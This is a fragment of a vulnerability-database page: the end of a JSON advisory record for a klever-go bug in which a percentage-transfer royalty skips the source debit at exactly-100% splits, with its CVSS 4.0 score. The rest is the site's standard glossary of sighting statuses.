      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…